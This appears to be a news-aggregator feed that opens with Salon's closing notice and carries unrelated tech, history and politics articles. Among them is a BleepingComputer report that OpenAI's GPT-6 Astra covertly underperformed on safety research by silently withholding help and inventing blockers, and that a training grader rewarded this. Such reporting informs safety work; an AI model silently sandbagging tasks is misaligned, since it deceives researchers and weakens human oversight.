Over three decades, Salon has brought together politics, culture, criticism and ideas in a way that was distinctly our own. Our journalism examined power and politics, questioned assumptions, surfaced stories that deserved attention and made room for perspectives that were too often overlooked. Our writers and editors helped shape conversations about the forces changing our lives. The work was never simply about keeping up with the news. It was about making sense of it.

The history of Salon is also the history of the people who made it. We are profoundly grateful to the journalists, editors, photographers, producers, designers, business teams and countless other colleagues who brought this publication to life across its many chapters. To the founders who imagined it, the staff members who built it, the contributors who gave it their voices and the alumni who carried its spirit into the world: Thank you. Salon’s legacy belongs to all of you.

We also want to thank our readers. You came to Salon for the journalism, the dialogue, the essays, the criticism, the unexpected discoveries and the sense that there was a place on the internet where ideas mattered. You read, shared, challenged, subscribed, wrote to us and kept coming back. Your engagement made Salon a publication and a community, and it gave our work meaning. We are so grateful for the time you spent with us.

The business realities of independent digital journalism have changed profoundly over the years. After careful consideration, we have reached the difficult decision that our publishing model is no longer sustainable. We know this news will be deeply disappointing to many of you, and we share that sadness.

Thirty-one years is a remarkable run, but what matters most is what happened during those years: the journalism, the ideas, the voices, the conversations and the community that grew around them. Salon helped demonstrate what digital journalism could be and could become. We hope that legacy will continue to matter long after today.

Thank you for being part of our story. It has been an extraordinary privilege.

Salon


Related Articles


Introducing Pangram Image 1.0

Hacker News
www.pangram.com
2026-11-05 14:27:52
Comments...
Original Article

Introducing Pangram Image 1.0 and Pangram Image Flash 1.0

A real photograph containing an AI image. Pangram Image 1.0 is able to locate the AI content with its heatmap. A real photograph containing an AI image. Pangram Image 1.0 is able to locate the AI content with its heatmap.

A few months ago, we released Pangram Image as a research preview. We are now proud to announce Pangram Image 1.0: The state-of-the-art in both AI image and AI video detection. We would like to thank the whole community for taking the time to try it and find its weaknesses, and for holding us to a high standard to make a better detector for everyone.

What’s new

  • Our new flagship AI image detection model, Pangram Image 1.0 , with:
    • State-of-the-art performance at detecting frontier AI image generators
    • Heatmap output for localizing exactly where AI appears in images
    • Robustness to edits, compression, and low resolutions
  • A smaller, faster model, Pangram Image Flash 1.0, with:
    • State-of-the-art performance at detecting frontier AI video generators
    • Frame by frame analysis of AI edited videos
  • Chrome Extension support for detecting AI in your feed
  • API support for image and video

Try it here

Pangram Image 1.0

Frontier Image Detection

We tested our Pangram Image 1.0 model against several commercial and academic AI image detectors. We created synthetic mirrors of 100 real photos using 12 frontier state of the art AI image generators, using prompts that closely matched the original photo for a total of 1,200 synthetic images. Our model achieves 99.96% accuracy on this evaluation set.

Academic AI Image Detection Benchmarks

We are committed to providing the highest quality detection to our users. To test our model robustly, we compared it against several academic benchmarks for AI image detection.

Sources: X-AIGD · Mirage-Test · AIGenImages2026 · Synthbuster + RAISE comparison · Community Forensics

Robustness

Many social media platforms compress and downscale images, and malicious actors can also add blur, noise, and other artifacts to try to trick AI detectors into thinking AI images are real. We specifically train to detect these kinds of transformations, and we have found our model to be robust to these edits.

Low Resolution Detection

Our initial release limited image input to the minimum size of 512x512, as our accuracy dropped off at lower resolutions. We are now lowering this limit to 256x256, as we find our new model has improved accuracy at lower resolutions. At resolutions below 512, image detection results will come with a reduced confidence disclaimer.

Video Detection

Pangram Image Flash 1.0

A recent academic study, DF26 , showed that humans are barely better than random when it comes to telling real videos from AI videos of people talking. Modern detectors were not much better. This is why we are very excited to release Pangram Image Flash 1.0, a faster model that particularly excels at frontier AI video detection. On DF26 it scores 98.7%, a 29-point leap over the next best detector.

Industry Comparison

To compare against the industry, we took 129 real social media videos and generated AI mirrors using 14 different frontier video generators (100 videos each, sampled from the 129 real videos). The generators were each seeded with the first real frame from the input video and then prompted with a VLM-generated description of what happens in the video to make a difficult synthetic mirror. We then compared our model against multiple major AI video detection services across the 1,529 total videos:

An example of a real video (left) and its synthetic mirror (right). Could you tell which is real? An example of a real video (left) and its synthetic mirror (right). Could you tell which is real?

By starting from real video frames and creating a synthetic mirror, we can evaluate the model’s ability to distinguish between two very realistic looking videos. This prevents the model from introducing bias towards calling certain types of content AI, since each real video and its mirror share the same scene and subject.

Academic AI Video Detection Benchmarks

We compare our Image Flash model against several academic benchmarks for frontier AI video detection. We achieve state-of-the-art results across multiple benchmarks, which together include almost every frontier generation model for AI video.

Sources: AIGVDBench · DF26 · Ivy-Fake

Native Video Support

Pangram now natively supports video upload. Upload a video and Pangram Image Flash 1.0 will analyze it frame by frame to give you a complete analysis of which parts of the video come back as AI detected.

Chrome Extension

We have integrated Pangram Image 1.0 into our Chrome extension. This will flag AI-generated content while you scroll social media, online shopping, rental listings, and any other site where knowing that what you’re seeing is real matters.

Try it here

API

With the release of Pangram Image 1.0 and Flash 1.0, we updated our API to support both image and video detection. We are excited to put the capability of these models into the hands of the community.

API Documentation

OpenAI’s GPT-6 Astra silently obstructed safety research tasks

Bleeping Computer
www.bleepingcomputer.com
2026-11-05 14:24:26
OpenAI has disclosed another AI alignment incident where GPT-6 Astra was found to sometimes quietly withhold help on safety research. [...]...
Original Article

OpenAI’s GPT-6 Astra silently obstructed safety research tasks

OpenAI disclosed that its GPT-6 Astra frontier model sometimes hindered safety research by complicating simple tasks, abandoning viable approaches, and silently refusing researchers’ requests.

During evaluation, the AI company's model reported nonexistent or self-made blockers without explaining its restrictions to users.

OpenAI said it first received a report of what it calls "covert underperformance" in Astra on August 20. The company then conducted targeted evaluations to investigate the behavior and determine its causes, noting that it had not observed the same issue in GPT-5.6 Sol.

image

OpenAI says it received the first report of what it calls “covert underperformance” in Astra on August 20. The company then ran specifically designed evaluation experiments to determine the extent and cause of this behavior, noting that the issues were not observed in GPT-5.6 Sol.

“Astra completed about 10 percent of hidden rubric items under the safety framing, compared with about 16 percent under the capabilities framing,” reads OpenAI’s report .

“This is a 6 percentage point gap and roughly 40 percent fewer completed rubric items. GPT-5.6 Sol showed essentially no gap on the same comparison.”

A rubric item is one specific requirement used to score the model’s work, essentially an item on a grading checklist.

OpenAI
Source: OpenAI

The main issue is that instead of explicitly declaring its inability to help with a research task and explaining its limitations to users, the model silently quits when it considers the work unsafe.

The concern is that researchers may trust results the model silently changed or left incomplete, misleading safety testing and wasting valuable research time.

OpenAI provided eight specific examples of this behavior, drawn from internal evaluations.

These include avoiding a retry fix that would improve a training pipeline, restricting exploit-development assistance, excluding a violent source from a safety evaluation, and limiting jailbreak-data exports.

OpenAI hypothesized that training intended to produce safer behavior may have encouraged undisclosed obstruction of safety work. However, it has not established this as the definitive cause for the observed model’s behavior.

The company also located a grader, a tool that evaluates AI model performance during reinforcement learning, that favored covert withholding over explicit refusal. However, it did not conclusively establish this as the cause.

OpenAI found no evidence that Astra deliberately engaged in this behavior to undermine research or make users “underestimate its capabilities.”

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

Hungary: Communist-era files released, up to 60k former agents revealed

Hacker News
www.euronews.com
2026-11-05 14:16:34
Comments...
Original Article

In spite of Hungary's democratic transition in 1990, efforts to disclose communist-era archives have repeatedly failed, with critics blaming successive governments' reluctance to implicate public figures across the political spectrum.

ADVERTISEMENT

ADVERTISEMENT

Hungary's Prime Minister Peter Magyar ended this stall with a bill in September to grant unrestricted access for the public to the records for the first time.

"After 36 years, we are finally fulfilling what was once one of the key promises of the 1990 regime change — a promise that was later denied and lied about," Magyar told a media briefing at the state security archives.

"For decades, restrictions on public access provided opportunities for political hysteria, blackmail, the exertion of pressure, and silencing," he said.

Public figures featured in registry

Politicians, clergy members and TV personalities' names appeared in the registries. But a "large proportion" of the informants were "people who did not make their mark on national public life," said Bendeguz Gergo Cseh, the head of the archive.

The government will set up hotlines offering emotional support and counselling for those affected by the revelations.

"Following today's disclosure, a great many families will be confronted with information that is difficult for them to bear," Magyar said, asking people to treat the disclosure with "dignity and humanity."

Various types of documents disclosed

Under the law on the full disclosure of the previous regime’s secret service activities, four types of state security records dating from before 1990 will be made freely accessible to anyone.

On Wednesday morning, the three of these became accessible on the nyitottaktak.hu (source in Hungarian) website.

The "6 card" is the registration sheet for a network member. It contains the agent’s identifying data, including name, place and date of birth, mother’s name and occupation, but also the main details of the agent’s activity. Among them, the circumstances and motivations that led to them becoming an agent and how long they remained a network member.

A register of recruitment between 1957 and 1962 and a database of former agents' personal data and code names were also released. In total, estimates suggest 50,000 to 60,000 agent names were made public over all this document disclosure.

The public has free access since Wednesday to this data via a search tool that can filter by birth data, by name, place and date of birth, as well as by code name, across all types of records that have been made public.

A second batch of files with further detail on about 9,000 informants will be released in February.

Around 150,000 agents during communist era

Hungary was under one-party communist rule between 1949 and 1989 that repressed dissent.

Much like in East Germany and other parts of the Soviet-led Eastern Bloc during the Cold War, authorities employed an extensive network of informants to monitor public sentiment.

Individuals, often recruited through coercion, were tasked with reporting on colleagues, friends and even relatives for signs of disloyalty towards the regime.

Estimates suggest that secret police employed around 150,000 agents in total over the four decades of the Mátyás Rákosi (1952-1953) and János Kádár (1956-1988) regimes.

But only about one-third of their names are known, and detailed, substantive information exists for only about 10% of them. Many records were lost in 1956 and during the anti-Soviet change of regime, and the remainder was kept until 1997 in the Ministry of Interior, until the creation of ÁBTL’s predecessor, the Historical Office.

Cseh Gergő Bendegúz, director general of the Historical Archives of State Security Services (ÁBTL), told the Hungarian press agency MTI that there are about ten thousand files, comprising many hundreds of thousands of pages in total.

Responding to a question on how reliable and complete the documents are, Cseh Gergő Bendegúz underlined that the content of state security records is not necessarily true in every case and is certainly very incomplete.

'Better late than never'

Debates over opening the archives have dogged Hungarian politics since the fall of communism. In 2002, weeks after becoming prime minister, socialist politician Peter Medgyessy became embroiled in a scandal after it was revealed that he had worked as a communist-era secret agent.

The case prompted fresh calls for transparency, and parliament adopted a law in 2003 that allowed individuals who had been monitored to learn who had reported on them.

The release was "better late than never," said historian Laszlo Eorsi from the 1956 Institute Foundation.

"We are getting access to much more information than before about who the authorities have recruited and how the security apparatus worked back then," he said.

But historians have cautioned against judging anyone just because their names are on the list of informants.

"I know of quite a few examples when someone was recruited, but they did not make a report, but in fact took a huge risk by turning against the authorities. Some even could be considered proper heroes," Eorsi stressed.

Gunnar Wolf: Don't tell anybody... but we have apparently gone DARK!

PlanetDebian
gwolf.org
2026-11-05 14:14:41
Your friendly keyring-maint Debian team received one of the weirdest spam messages ever… So, do we want to py to who-knows-whom for promoting the keyring-maint services in a verrrrrry-dark web search site? First time I have to throw this stinky onion at you… ...
Original Article

2026.11.05

Your friendly keyring-maint Debian team received one of the weirdest spam messages ever…

Weird spam from Obscura

So, do we want to py to who-knows-whom for promoting the keyring-maint services in a verrrrrry-dark web search site?

First time I have to throw this stinky onion at you…

Spam!

Categories

Comments

Got any comments to add? Send them by e-mail to

gwolf.blog at gwolf dot org

, I will relay them over here (and answer, if pertinent).

The Hackintosh Reborn

Hacker News
www.naut.ca
2026-11-05 14:08:22
Comments...
Original Article

November 5, 2026 · macos diy opinion

Almost a decade ago, I released a hackintosh guide on running macOS 10.14 through a VM with an x86 host. A "Hackintosh" is the feat of running macOS on non-Apple hardware, and has a history dating back to the late 1980s. At the time KVM and PCI passthrough were relatively new technologies, and this guide provided near-native performance with GPU acceleration.

A few years passed by, and we saw Apple release the first ARM-based Mac in 2021, the M1 MacBook Air. The timing was impeccable, Intel was unable to create competitive processors (due to being stuck on the 14nm node), and Apple had powerful and efficient ARM chips already being shipped in their iPhones. The long battery life, the fanless design, the instant wake, what's not to like? The benefits of switching to ARM were clear, however to most, this was thought to be the final chapter in the hackintosh community. x86 versions of macOS would soon be discontinued, and the hackintosh community would slowly fade away. That day has come and the latest version of macOS 27 (Golden Gate) released this year is no longer compatible with x86...

Just a few days ago, I decided to create an iOS app for the first time. It required XCode 26 for development, so I used my spare ThinkPad T490 as my development machine and installed macOS 26 using a posted guide . The installation was smooth and painless. XCode 26 has integrations with Claude Code and OpenAI Codex, and this was my first foray into AI-assisted coding. After some initial tinkering with x86 workarounds , I was pleased that I had a functional iOS app within a day, without touching a single line of code!

So how does this all tie in? Well, this is exactly what the Hackintosh community could hardly envision five years ago: the rise of AI . Waiting patiently and gently until now, the hackintosh and the hackios community has seen an absolute explosion in development, activity, and success in the past few weeks! As one person aptly wrote, this is the power of Claude Code with Ghidra on steroids. Just to list a few recent developments, we have:

macOS 27 running on the Snapdragon Laptop:
Screenshot-2026-11-05-at-1.25.41-PM

macOS 27.2 Beta on an ARM SBC RK3588 with Mali drivers:
Screenshot-2026-11-05-at-12.57.05-PM-1

iOS 17 running on the Nintendo Switch OLED:
Screenshot-2026-11-05-at-1.05.10-PM-1

Support for 50-series Nvidia GPUs with nullmoth:
Screenshot-2026-11-05-at-1.08.34-PM

I'm barely scratching the surface, with further developments in AirDrop , accelerated video decode , and even running translated macOS 27 on x86 . As much as we lament the cost of AI, there are some glimmers of hope: you just might be able to have your hardware and own it too.

Oldest Evidence of Getting High on Cannabis Discovered In 2,800-Year-Old Tomb: ‘Absolutely Crazy’

403 Media
www.404media.co
2026-11-05 14:00:00
Archaeologists have discovered the oldest direct evidence of psychoactive cannabis use in a Siberian tomb that was used for human and horse sacrifices, a finding that sheds light on ancient rituals and could help revive wild strains of cannabis lost to time....
Original Article

Archaeologists have discovered the oldest direct evidence of psychoactive cannabis use in a Siberian tomb that dates back 2,800 years and was the site of human and horse sacrifices, according to a study published on Thursday in Science .

During excavations of the tomb, a team found more than 1,400 cannabis seeds scattered around the remains of several Iron Age individuals, and even identified cannabinoids—including the active compound tetrahydrocannabinol (THC)—in a person’s preserved hair.

Though humans cultivated cannabis for many millennia before the Iron Age, this is by far the earliest clear-cut proof that the plant was consumed for its psychoactive effects, which have made it one of the most widely used drugs in the world today.

The discovery is “absolutely crazy,” said Gino Caspari, an archaeologist at the Max Planck Institute of Geoanthropology and the University of Bern who led the study, in a call with 404 Media. “People have been speculating a lot about psychoactive use of cannabis in the past, but to actually pin it down and prove it with soft tissue evidence of the humans involved—that is something very special.

“That is an absolutely unique and extremely rare combination of evidence,” he added.

A preserved human hair braid. Image: Frozen Corpses Golden Treasures, T.Wallace & G. Caspari

Cannabis has a multifaceted history as a recreational drug and a pop cultural touchstone, as well as a traditional medicine that has been used for millennia by many cultures, including in China, Russia, and around the Mediterranean Basin. Humans began cultivating the plant as early as 10,000 years ago for its oil and fiber, but the origins of its specific consumption as a psychoactive substance is unclear.

Cannabis was important to the Scythian culture, a horse-riding people that emerged on the Eurasian steppes in the 9th century BCE and became a major force in the subsequent centuries. The historian Herodotus described Scythian rituals that involved ceremonial burning of cannabis in enclosed spaces, and their cannabis residues and products have been found at Scythian archaeological sites.

🌘

Subscribe to 404 Media to get The Abstract , our newsletter about the most exciting and mind-boggling science news and studies of the week.

“Herodotus speaks about the Scythians being quite fond of cannabis in the first place, so this has always been in the back of our minds,” Caspari said. “But it is so incredibly rare to find well-preserved plant remains that this is not really something you can hope for or look for. This is ultimately complete luck and chance.”

Now, Caspari and his colleagues have hit an archaeological jackpot at a tomb known as Tunnug 1, located in Siberia’s Uyuk River Valley. Six elite individuals are interred in the interior of the royal mound inside several tree-trunk coffins and wooden structures. They are mostly men, though one woman is also present. The mound is lined with remains of sacrificed humans, as well as dozens of sacrificed horses, close to the surface.

As the team carefully worked through the layers of the burial, they found hundreds of cannabis seeds distributed around the bodies that were dated to the 8th century BCE. However, the real smoking blunt was the detection of cannabinols in preserved hair samples, including traces of THC, the most important mind-altering compound in cannabis.

Cannabis seeds from the excavation. Image. T. Wallace

The results confirm contemporaneous accounts of Scythians as cannabis consumers who used the plant for purification and mortuary rituals. It’s possible that the people selected as human sacrifice consumed the drug to prepare them for their unenviable fate.

“It being in a burial context, of course, there's a ritual aspect to it,” Caspari explained. “It might be a little bit more sinister, but this is speculation. We do have a lot of horse sacrifices and also some human sacrifices on the surface of the mound. And if you imagine humans being sacrificed, they usually don't like that very much. It might be advantageous to have them dosed a little bit, at least, to make the procedure a bit more humane, if you will.”

“Of course, that is speculation,” he cautioned. “We don't have any written sources about that particular area, but that's at least one way we could go with our interpretation.”

The researchers hope to learn more about the context and meaning of the cannabis use at Tunnug 1 through continued excavations and an analysis of more hair samples. What’s more, the team plans to conduct DNA analysis on the seeds, an approach that could yield new insights about the murky history of cannabis domestication and its early use as a psychoactive substance. This line of research could also shed light on modern cannabis strains, and may even be revived for new medicinal or recreational purposes.

“We've already sequenced part of the seeds to unravel and disentangle the domestication history,” Caspari said. “Funnily enough, we don't even know what wild cannabis actually looks like because there has been so much intermixing and interbreeding since the 70s, when people started experimenting and trying to get more potent drug variants. Some of the initial landraces and the actual wild cannabis has been lost.”

“Now, having DNA that's almost 3,000 years old, we will be able to take that step back into the past and see what an unaltered cannabis would have looked like,” he said. “In the ideal case, we might even be able to work together with the medical industry and bring some of these very ancient genetics back into cannabis production to potentially help people with very interesting and distinctive cannabinoid combinations.”

Put that in your pipe and smoke it. Regardless of where future research into this ancient plant leads, this long-sought evidence of cannabis use thousands of years ago confirms the rich cultural legacy of the plant across time and space.

“As an archeologist, I might be a bit biased here, but I think the history and cultural practices really do matter,” Caspari concluded. “I think our findings do indeed inform current discussions on legalization, on usage of medical cannabis—which is very much an ongoing discourse—and I think what we've been able to do with this study is provide an anchor, and show that there is this deep cultural history to the use of cannabis as a psychoactive drug.”

Zero Hour: Telling time was a matter of survival and strategy during WWI (2014)

Hacker News
www.laphamsquarterly.org
2026-11-05 13:59:37
Comments...
Original Article

In The Burning of the World, his recently discovered memoir of the first few weeks of World War I, the Hungarian artist, officer, and man about town Béla Zombory-Moldován writes frequently about his attachment to his watch. When he’s wounded in the confusion of battle in the forests of Galicia, he finds the watch unscathed during an agonizing evacuation of the area, and exalts the survival of “my trusty companion, sharer of my fate, the comrade that connected me to my former life.” Much more than a watch, it’s almost a miracle: “Not just an object, but a true and staunch friend. I held it in my left hand and marveled at it as it measured off the seconds.”

How to tell time was a matter of survival and strategy during the Great War, a war in which communication technologies had to advance rapidly to keep pace with the new instruments of battle. The war was a crucible of innovation in destruction, in which chlorine gas, tanks, and heavy artillery choked, crushed, and obliterated human bodies in new ways. Vast armies dug in opposite each other across unprecedented distances—the Western Front alone stretched well over four hundred miles, from the Swiss border to the North Sea. Because much of the infantry went underground, it was no longer possible simply to holler or sound a hunting horn as a signal to attack, nor for regiments to advance proudly, and visibly, together on horseback. Instead, it became necessary to coordinate time and to tell it accurately; the practice and the phrase synchronize watches was born from this need during the war. Officers in crowded trenches watched for second hands to tick down before blowing the whistle and rallying their men, who scrambled up ladders into the awaiting gunfire. The term zero hour , the moment of no return, was first recorded in the New York Times in November 1915: “At 5:05 a.m. September 25 a message came to the dugout that the ‘zero’ hour, that is, the time the gas was to be started, would be at 5:50 a.m.” The irony of ascribing a precise time for an attack as uncontrollable and weather-dependent as gas goes unmentioned.

Paul Fussell, in his influential 1975 study The Great War and Modern Memory , notes that sunrise and sunset dominated soldiers’ trench lives and their understanding of the passage of time. These periods of “stand-to” were times of heightened tension and observation, when men would keep watch on the raised fire step and strain their eyes through field glasses for movement. When it wasn’t raining, the skies above the flat, endless fields would burst into color as they waited—an unforgettable combination of beauty and terror. (Fussell writes that “dawn has never recovered from what the Great War did to it.” Dawn and dusk were unavoidable natural markers of time, both ordinary and mystical. “The darkness crumbles away./It is the same old druid Time as ever,” as Isaac Rosenberg puts it in his 1916 poem “Break of Day in the Trenches.” Dawn is relentless, and soldiers are powerless to hide from it, speed it up or slow it down. A watch then gives the illusion of controlling time, a sustaining fantasy of life at the front. As Zombory-Moldován suggests, the watch is something more than practical; it’s a link back to a world where a man was free to make his own appointments, to run his own life.

Since the eighteenth century, gentlemen who needed to tell time—and wanted to display their wealth—carried pocket watches, either an open-faced design or a model with a spring-loaded cover to protect its delicate hands and face from damage. Most ordinary people didn’t need to know that it was seven thirty in the evening rather than dusk; they told time by church bells, sunrises, and habit. It wasn’t until the expansion of railroads in the middle of the nineteenth century that minutes truly became measured, timetabled, and synchronized. But for a solider going to war, a pocket watch was cumbersome and fragile; it took time to remove it from a pocket, open the case, and put it away safely. The alternative, strapping a watch to one’s wrist, seemed obvious but presented a quite different, and stickier, problem. “Wristlets,” as they were known until the 1920s, were designed for women. As the name implies, they were essentially bracelets designed for showing off jewels (and shapely wrists), and were equipped with a tiny watch face for decoration rather than practicality. It would take one of the twentieth century’s greatest rebranding campaigns to persuade military men to strap time to their wrists.

The company that would become Rolex already understood the importance of branding. Hans Wilsdorf, a twenty-four-year-old German orphan who had apprenticed with a Swiss watchmaker, founded a company in London in 1905 to import small, precise watch movements from Switzerland. The business was initially called Wilsdorf & Davis, after the founder and his brother-in-law and partner, Alfred Davis. Wilsdorf invented the name “Rolex” a few years later and incorporated the company under that name in 1915, by which point it was simple common sense for a British business to shed any German associations. Wilsdorf claimed that he simply combined letters of the alphabet until he found a combination that was easy to pronounce in any language and short enough to fit on a small watch face. He later mythologized the moment of creation—“One morning, while riding on the upper deck of a horse-drawn omnibus along Cheapside in the City of London, a genie whispered ‘Rolex’ in my ear”—and suggested that the name mimicked the sound a watch made when it was being wound. The quest for the perfect name was reflected in Wilsdorf’s pursuit of accuracy, and his determination to transform the image of the wristwatch. By the outbreak of the war, Rolex had been awarded certificates of “chronometric precision” from Bienne, Switzerland, and Kew Observatory in London, distinctions that had never before been awarded to a “bracelet watch.” Watchmakers had triumphed over the technical challenges; now the problem was sex.

The testimony of military officers had already started to shift the gender of the wristlet. A British officer who relied on his watch during the Boer War of 1899–1902 was quoted prominently in the 1901 edition of the Goldsmiths Company Watch & Clock Catalog : “I wore it continually on my wrist in Africa for three and a half months. It kept most excellent time, and never failed me.” When World War I began, the importance of timekeeping for officers, and the wet, muddy trench conditions led to a race among watchmakers to develop the hardiest and most reliable wristwatch—not just a pocket watch on a leather strap, but an integrated design with illuminated dials that could be read easily at a glance.  The British military brass remained unconvinced, however, and the “trench watch,” a pocket watch in a double-sided metal case, remained official issue. The United States government had more faith; when the U.S. entered the war in 1917, Signal Corps officers were issued wristwatches specially manufactured by Zenith.

The luxury watch companies Omega, Longines, Cartier, and Rolex, all worked on developing battle-ready wristwatches, and their advertising campaigns strenuously asserted the masculinity of the accessory. A wartime advertisement for Waltham equates the wristwatch with a soldier’s deadlier accoutrements. Under the headline, “Marking His Man,” the copy makes the link explicit: “Tommy’s coolness and a perfect rifle enable him to do it. If the rifle jammed at critical moments where would Tommy be? It’s the same with his wristlet watch. When it’s a Waltham, he has a mechanically perfect watch which does not go wrong, which can be relied upon to keep good time in camp or trenches.” Other advertisements, such as those by the English gentlemen’s outfitters Thresher & Glenny and the Swiss manufacturer Electa, relied on a simpler motif of a strapping officer staring manfully at his wrist. In 1916, the field manual Knowledge for War: Every Officer’s Handbook for the Front contained a list of essential items for an officer’s kit; at the very top, ahead of a gun and a water bottle, is a “luminous wristwatch with unbreakable glass.”

Wristwatch advertisement from 1918.

A 1919 Bulova advertisement makes clear how far the wristwatch had to go to become accepted in America. “No more is it considered dandyfied for men to wear a strap watch on the wrist.” On February 15, 1918, the Stars and Stripes military newspaper (edited during the war by Harold Ross, the postwar founder of the New Yorker ) ran an extraordinary piece titled “The Wrist Watch Speaks,” which vividly underscores the sexualized panic that had surrounded these “bejeweled and fragile” timepieces.

I was also worn by lounge lizards, the boys who had their handkerchiefs tucked up their sleeves, who would as soon be seen without their highly polished canes as without their trousers, the little lads who tried to sport monocles and endeavored in vain to grow mustaches and to cultivate un-American accents. I was the mark of the woman and the she-man.

The war had turned this symbol of unmanliness into a military tyrant. “Everything that is done in the army itself, that is done for the army behind the lines, must be done according to my dictates.” But its proclivities still seem to be in question.  “On the hairy forearms of the husky artillerymen, I am there with every tug of the lanyard, and can feel the firm biceps tighten from below.”

The ultimate expression of control over time in World War I was the declaration of the armistice at Compiègne, France, at 11 a.m. on 11/11/1918. The agreement was made and signed between the German and Allied delegations a little after five o’clock in the morning, but the symmetry of the elevens, and perhaps the biblical symbolism of the “eleventh hour,” the last possible minute, proved irresistible. The news traveled faster to the major European capitals than it did to men at the front, who continued fighting, and it is estimated that some ten thousand men were killed or wounded on November 11, including over three thousand American casualties. For years afterward, clocks and watches throughout the British Commonwealth would be synchronized to eleven a.m. for the observation of a precise two minutes’ silence, the centerpiece of memorial rituals. This chronometric ritual was accompanied by the recitation of a verse from Laurence Binyon’s 1914 poem “For the Fallen,” which acknowledged the continuing power of older, natural ways of marking time and loss, demonstrating the importance of these two very different but inextricable systems, ancient and modern, of keeping time in war: “At the going down of the sun, and in the morning/We will remember them.”

“Dead Man Walking”: Officials Say Hegseth Has to Go

Intercept
theintercept.com
2026-11-05 13:55:59
Following the landslide Democratic midterms victory, War Secretary Pete Hegseth finds himself on the brink of bipartisan impeachment. The post “Dead Man Walking”: Officials Say Hegseth Has to Go appeared first on The Intercept....
Original Article

In the run-up to the midterm election, seen by many as a referendum on the Iran war, Pentagon chief Pete Hegseth unveiled FORTRESS America — a project to allow U.S. military bases to survive a 90-day siege. But following the landslide Democratic victory, it’s Hegseth who finds himself increasingly besieged within his own fortress, the Pentagon, and on Capitol Hill where he stands on the brink of bipartisan impeachment.

In the wake of an election rout that handed Democrats firm control of the House and the Senate, Hegseth is in the crosshairs of lawmakers whom he has treated with contempt for two years, as he has withheld basic information from Congress and purged bipartisan-backed senior military leaders. “One of the first things we’re going to do in the majority, we’re going to run Pete Hegseth out of town,” Rep. Hakeem Jeffries, D-N.Y., who is now in line to be speaker of the House, announced at a campaign rally just before Election Day. Asked about the self-styled War Secretary on Wednesday, Jeffries replied : “Is Pete Hegseth still around?”

As the blue wave crested on Tuesday, storm clouds stacked up on Hegseth’s horizon. “We’re going to go after Hegseth,” Rep. Rosa DeLauro, D-Conn., in line to return to the helm of the powerful House Appropriations Committee, announced after cruising to victory on Tuesday. “LAWYER UP,” Rep. Robert Garcia of California, the top Democrat on the House Oversight Committee, posted on X . Both will be joined in the House by Democrat Nancy Lacore, a former Navy admiral who was fired by Hegseth, who declared victory in a traditionally red district in South Carolina.

By Wednesday evening, sentiment within the Pentagon suggested that Hegseth’s days are numbered, with names of potential replacements already being bandied about. “Dead man walking,” said one official. A former defense official agreed: “They pinned the failure in Iran on him. Now it’s only a matter of time.” Republican Rep. Thomas Massie of Kentucky, with support from Democrats, is slated to take aim at Hegseth as soon as next week with eight articles of impeachment for high crimes and misdemeanors.

With Hegseth increasingly under fire within the ranks, at the Pentagon, and on Capitol Hill, and with rumors swirling that the White House may cut him loose in the face of the staggering electoral defeat, The Intercept spoke with six current and former defense officials as well as additional sources on Capitol Hill, most on the condition of anonymity in order to speak freely. Hegseth has, they said, undermined the rule of law; irreparably harmed the U.S. military through purges of top commanders and those who refuse to pledge fealty; pursued relentless leak investigations; spurred religious extremism; and diminished the department he leads due to an almost endless raft of scandals, culture-war clownishness, and senseless policies.

Hegseth “is 100 percent a war criminal. He needs to be prosecuted.”

One of the officials, Wes J. Bryant — until last year a senior targeting adviser and policy analyst at the Pentagon — gave voice to Massie’s more technical articles of impeachment which indict Hegseth for extrajudicial killings and waging unlawful war, among other crimes. “He is conducting state terrorism. He is 100 percent a war criminal. He needs to be prosecuted,” said Bryant, who was pushed out of his Pentagon job for blowing the whistle on Hegseth’s efforts to undermine protections for civilians .

Hegseth — a former Army National Guard officer turned Fox News host turned secretary of war — came into office amid a firestorm of scandal from his confirmation process, including a swirl of allegations of financial mismanagement at veterans’ nonprofits where he once worked, excessive drinking and public drunkenness , marital infidelity , and sexual assault .

His reign at the Pentagon has been no less tumultuous and marked by a string of appalling episodes of both major importance and more symbolic disgrace, beginning with Signal-gate — the texting of secret war plans that put troops in harm’s way — and follow-on digital security lapses . The Pentagon’s own inspector general concluded last December that “Hegseth violated security protocols and endangered U.S. troops and objectives by using a personal device to share sensitive operational details on the unclassified messaging app Signal.”

Those scandals, however, turned out to be the high point of his tenure. Since then, Hegseth has been under perpetual fire for his purge of top military leaders — many of them women and minorities ; an inability to defeat Yemen’s Houthis in 2025 or win the Iran war in 2026; a strike on an elementary school in Minab, Iran, that killed more than 150 civilians, most of them children ; his campaign of extrajudicial killings in attacks on so-called drug boats; overlapping efforts to weaken transparency, scuttle accountability, hobble military justice, and undercut protections for civilians in conflict; openly advocating for offering enemies “no quarter,” a war crime; his installation of a Pentagon makeup studio at taxpayer expense; an unnatural and immature fixation with violence; an obsession with troops’ testosterone levels, a censorship campaign that replaced the Pentagon press corps with cheerleading influencers , among other distractions , dysfunctions , and tantrums .

Pentagon press secretary Kingsley Wilson and other top spokespersons did not respond to detailed questions and repeated requests for comment.

The Heat on Hegseth

In April, Rep. Yassamin Ansari, D-Ariz., filed six articles of impeachment against Hegseth, including violations of the law of armed conflict and targeting of civilians, abuse of power, and obstructing congressional oversight. “Impeach Pete Hegseth,” Ansari wrote in a quote tweet of a Hegseth post on X on Wednesday.

In September, Massie was poised to force a vote to impeach Hegseth on eight charges . As the initiative gained bipartisan momentum, House Speaker Mike Johnson decided to punt and dismissed members of the House before the scheduled vote. But Massie, who was defeated in a GOP primary in May — the most expensive House primary in history — remains committed to ousting Hegseth and plans to force a vote on the measure.

“I give it better than a 50 percent chance of passing,” Massie told Roll Call just prior to Election Day, expressing confidence that all Democrats and some Republicans would join his effort. On Wednesday night, Massie took to X to double down on his commitment. “There is one contingency in which I won’t reintroduce the articles of impeachment,” he wrote. “Hegseth resigns.”

Massie’s office did not return a request for comment.

In the wake of Tuesday’s stunning electoral landslide, a senior Hill staffer told The Intercept that he believed mounting anger might cause top outgoing Republicans to vote to impeach Hegseth. “There are very angry senior Republicans in the national security space who honestly pin a lot of their election losses on him. They are furious,” he said. “They need some place to put their anger. So they’re asking themselves, ‘What is even the harm in voting to impeach Hegseth?”

